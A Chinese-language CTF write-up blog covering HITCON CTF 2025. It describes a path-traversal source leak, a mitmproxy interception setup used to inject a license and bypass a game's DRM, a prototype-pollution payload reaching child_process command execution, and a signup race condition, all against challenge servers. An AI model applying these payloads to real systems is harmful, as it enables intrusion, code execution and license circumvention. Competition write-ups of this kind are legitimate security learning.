HITCON CTF 2025
跟竹狐一起打了 HITCON CTF 獲得了 臺灣第一,世界 13 的成績;也在後續的交流賽中,榮獲第一。在初賽主要負責了區塊鏈的題目,跟去年星爆牛炒竹狐的時候一樣,不過多了可以一起討論區塊鏈的 Vincent;而交流賽則是專案管理、web。本篇文章涵蓋交流賽的部分,預賽的區塊鏈題解可以看 這裡 。
隊友們也有寫 write-up:
- ianiiaannn: https://iancmd.dev/posts/cybersecurity/ctf/hitcon-exhibition-ctf-2025/#%E6%8E%A2%E7%B4%A2
- Flydragon: https://flydragonw.github.io/posts/hitconctf_2025/
交流賽
這次跟以往決賽的 Attack & Defense + LiveCTF 類型不同,推出了 Belluminar 賽制:隊伍間互相出題及解題,蠻新奇的。主辦方的規則如下:
1 | 1. 本次 HITCON CTF 交流賽,將混合 Belluminar 賽制以及 eSport 賽制進行。 Belluminar 賽制為 POC 所提出,WCTF 也曾使用的方式。在此賽制下,各隊會互相出題挑戰。為增加競賽交流性,除了 CTF 競賽本體,也會舉辦對應的 seminar 來分享題目設計及解法。 |
竹狐的 Belluminar 解題狀況在第二天,幾乎都是全場最多的;但由於積分規則很特別,我們繼續解題會讓排名往後(因為會增加其他隊的出題分),所以第二天直接沒有打算繼續解題,都在關心其他隊解題情況。
Belluminar
Belluminar 是由各隊出題,互相解題的題目;這次竹狐出了兩道題目
[meduim] [web, reverse, crypto, gal game]《關於我前隊友是千金大小姐,我們鬧內鬨她威脅我要用人脈讓我特選上不了學校,但是他又想分享她的經歷多屌,我該怎麼辦》
[hard] [kernel pwn] Interrupt Paradise
Interrupt Paradise 是由 堇姬 Naup 出,由 ConsoleBreak 驗題;而《關於我前隊友是千金大小姐…》則是由以下人員,歷時一個月共同完成:
企劃:Ching367436
腳本:WSL
腳本兼不小心忘記填請假單於是翹課來玩(DRM 設計):Dr. dog
竹狐娘本娘兼水銀燈老婆:naup96321 (?
渡會雛見的兒子兼老公兼 License Server 兼 Digital Distribution:ianiiaannn
CG:YoFat
編劇:燒餅
前端設計:毛哥EM
遊戲設計顧問:Flydragon
《關於我前隊友是千金大小姐…略》
出題動機
這題是源自於某群 AIS3 助教,看到很多學員在玩 gal game,想說也來玩玩看;發現需要輸入 license 才能使用,所以就把 逆向 / MiTM 等,最後把遊戲的 license 保護機制逆向出來。決定把我們逆向過程中遇到的,出成題目給大家玩。
專案管理
這次主要負責專案管理,是少數只專注在專案管理與架構設計的專案。會議記錄因為性質關係,使用了 draw.io,蠻特別的;寫起來蠻容易讓人快速理解的。附上某次會議記錄供參考。專案管理中最重要的一點是責任要明確,讓每個人都清楚在什麼時間點該完成哪些具體事項;另一個關鍵則是把對的人放在對的位置,並確保大家都具備足夠的動機,一起把專案完成。只要做到這些,再加上一個實力堅強的團隊,專案很容易順利運行。
題目題解
題解前半部分隊友 ian 已經有詳細解說,所以這部分就快速帶過;這邊多補充了 用 mitmproxy 截取流量、觀察 DRM 運作的步驟,這也是我在逆向實際 DRM 時用到的技巧。
進入題目網頁,發現可以下載 Bamboo Games Launcher。

下載之後發現是個很像 steam client 的 Electron app(可以從 app 的圖像得知)

進入 Bamboo Games Launcher 後,可以下載遊戲。
遊戲下載打開後,會要輸入 license key。

不輸入 license key,遊戲也會正常打開,只是不管怎麼玩都會是 bad end。

開始研究 license key 是如何驗證的,會發現用的跟 Bamboo Games Launcher 是同個 web serveer;發現 Bamboo Games Launcher 是用 Electron 寫的。找到 Electron 使用的 C:\Users\User\AppData\Local\bamboo_games_launcher\app-1.0.0\resources\app.asar 並打開。
可以看到 src/index.js 從 https://xn--kpr97vl4kg3x.xn--e5x.tw:9114/static/..%2Fgames/bamboo-gal.asar.gz 下載遊戲,經過測試這個 LFI 可以用來下載 .git/HEAD 來 leak 出 server source code,當中很可能包含了 license 的驗證邏輯。
1 | pipx install git-dumper |
從 src/crypto.ts 找到驗證使用的密碼學函數:
1 | import { PrismaClient } from '@prisma/client' |
整理一下
ActivationTag =
可簡化成
只要解出
解出 license 會發現,包含不可視字元,根本填不進 license 輸入框。這時就只能想辦法把 license 塞進去了,一種解法可以用 mitmproxy 把送出去的 license 改成有不可視字元的版本,注意題目使用合法 https 憑證,所以需要先把系統信任 mitmproxy 產生的憑證;另一種解法是透過逆向 + 動態把 license 值改了就行了。
這邊介紹 mitmproxy 的解法:
先在機器上游的 router 安裝好 mitmproxy,這邊使用的 上游 router 是 Debian 的機器。接著我們要把到 port 9114 的流量(license server port),轉到 8080 來聽;這裡編輯 /etc/nftables.conf,在裡面加入對應規則:
1 | table ip nat { |
接著把 nftables 打開、開啟 mitmproxy 即可開始 mitm
1 | systemctl restart nftables |
這時候輸入 license 會發現,因為不是合法 https 的憑證會出錯,所以這邊還需要讓系統信任 mitmproxy 的憑證

可以參考這邊的做法來讓機器信任憑證
基本上就是把 router 上的 ~/.mitmproxy/mitmproxy-ca-cert.cer 放到跑遊戲的機器上,然後執行
1 | certutil -addstore root mitmproxy-ca-cert.cer |
接著就可以用以下指令 mitm 了
1 | mitmproxy --mode transparent |
如果需要竄改 request,可以參考如何寫 mitmproxy addon,下面提供了一個更改 computer info 及 license 的範例:
1 | # http-modify-query-string.py |
1 | mitmproxy --mode transparent -s http-modify-query-string.py |
這樣就能正常 activate license 了。mitmproxy 也可以接到 BurpSuite 上,就連修改封包也變的更直接了,指令大概如下,不過機器會需要信任 BurpSuite 的憑證。
1 | mitmproxy --mode upstream:http://127.0.0.1:8080 --listen-port 8081 --ssl-insecure |
這邊還有另一種解法,由於 server 的 source code 都 leak 出來了,我們可以得知 /api/verify 的 response 的 key 是多少,這樣就改 response 就可以 activate license 了。(這個解其實是因為 不小心把 Dockerfile 也包進去,導致 key 洩漏的;所以算稍微 unintended)
License 驗證好後,會發現 data.xp3 變大了;表示成功取得完整版的遊戲。可以開始逆向遊戲本體。
在比賽中看到一堆人直接開始逆向 game.exe,但那是開源遊戲引擎,裡面根本沒有我們寫的 code。從工作管理員裡面也可以得知,那是 KIRIKIRI 遊戲引擎。要逆向應該是要逆向 TJS。而 TJS 很可能會被包在 XP3 裡面。(By WSL)
XP3 的結構可以參考 Uncover XP3 前篇:認識基本 XP3 封包格式(這次出題學到了很多 gal game 的知識
可以用 https://github.com/storycraft/xp3-tool/ 把 data.xp3 解包,解包可以找到 scenario/scene1.ks 中處理 flag 的地方:
1 | var cnt = f.endings.push(tf.ending); |
以及
1 | Plugins.link("clientDLL.dll"); |
f.endings會記錄玩家依序觸發的結局 ID,並轉換成 16 進位字串與 endings 比較。所以只要稍微修改一下 code 再用 xp3 packer 包成data.xp3 就好,例如改成:
1 | var i; |
執行後可能會發現遊戲顯示錯誤,透過簡單的逆向或是上網查資料可以發現這是由於 plugin/start.tpm(tpm是改了附檔名的DLL,可以使KRKR 優先載入,通常會用來解密有加密過後的 XP3)中做了檔案校驗,可以發現除了改 CWD(為了與 electron 相容)以外裡面沒有其他有意義的程式,可以直接刪掉。刪完之後直接執行 game.exe 就可以看到 FLAG 了。
Jeopardy
[web] Useless Template Renderer
Caleb 出的,題目看起來很眼熟;因為這是 SECCON CTF 的題目,而且那題就是跟 Caleb 一起解的。
題目給了一個 prototype pollution 以及任意執行沒有 match 到 [a-zA-Z!@#$={};:'"~,?\_]` 的 code。
基本上就是 JSFuck 的更少符號版(或是更多,因為可以用 Unicode)。
1 | const express = require('express'); |
這邊的解法如下,目標是任意執行 JavaScript。所以打算先拿到 JavaScript 的 Function(funciton constructor)
先用 [] 拿到陣列
1 | [] |
接著拿到陣列的空字串屬性 []['']
1 | [][[]] |
可以來看看上面的為什麼會等價於 []['']。
a[b] 相當於 a[ToPropertyKey(b)]。所以 [][[]] 相當於 [][ToPropertyKey([])]。而 ToPropertyKey([]) 是 '' 空字串。所以我們現在可以存取 陣列的空字串屬性了(只用 [] 這兩個字元)
記得我們還有 prototype pollution 可以使用,可以把 空字串屬性,污染成我們想要的東西。我們可以這樣污染空字串屬性
1 | {"__proto__":{"":"constructor"}} |
這樣會有這種效果,可以拿到 `’constructor’
1 | > [][[]] |
拿到 `’constructor’ 字串,就表示我們可以來拿 陣列 的 constructor,也就是可以造出陣列的函數。
1 | > []['constructor'] |
而可以造出陣列函數的東西,是個函數。那函數的 constructor 是什麼呢,當然就是能造出函式的 function constructor 了
1 | > []['constructor']['constructor'] |
拿到 Function 能做什麼呢,可以拿來從字串造出 函數,比如
1 | > Function('console.log("ching")') |
所以只要呼叫這個造出來的函式,就會執行函式裡面的程式碼
1 | > Function('console.log("ching")')() |
總結一下,目前用了 [](),可以造出 Function,並執行起來。只是我們還需要 function body。
我們可以把 Function 加上 [],取得字串 'function Function() { [native code] }'。
a + b在ToPrimitive(a)或ToPrimitive(b)其中一個是字串時,等於ToString(a)+ToString(b)
1 | > Function + [] |
我們可以把 'function Function() { [native code] }' 屬性值污染成 "console.log('ching')"
1 | {"__proto__":{"":"constructor", "function Function() { [native code] }": "console.log('ching')"}} |
這樣可以得到任意指定字串了
1 | > []["function Function() { [native code] }"] |
所以把上面那些和在一起,一步一步推出我們的 payload
1 | Function("console.log('ching')")() |
可以看到,只需要 []()+ 就可以任意執行程式碼了。這邊使用這個 payload 來讀 flag,可以拿到回顯。
1 | global.process.mainModule.constructor._load('child_process').execSync('cat+/fl*').toString() |
[web] Daemon Slayer
題目基本上拿到夠多錢就能買 flag,而題目的註冊帳號的流程如下
- 檢查使用者是否存在
- 註冊使用者帳戶
- 給使用者初始禮金
這些步驟沒有 atomic,表示可以 race 多次來領取很多初始禮金。具體如下:
一次同時註冊很多個相同 username 的帳戶即可。
在上面三個步驟中,只要還沒有任何 request 跑到 步驟 3,步驟 1 的檢查一定會過。所以只要有多個 request 成功通過 步驟 1,就可以重複領取初始禮金。可以拿到足夠的錢買 flag。
可以透過 BurpSuite 的 last-byte synchronization 來穩定同時送出多個請求,不過這邊用 python 開多 thread 就夠了。
- Title: HITCON CTF 2025
- Author: Ching367436
- Created at : 2025-10-20 11:45:50
- Link: https://blog.ching367436.me/hitcon-ctf-2025/
- License: This work is licensed under CC BY-NC-SA 4.0.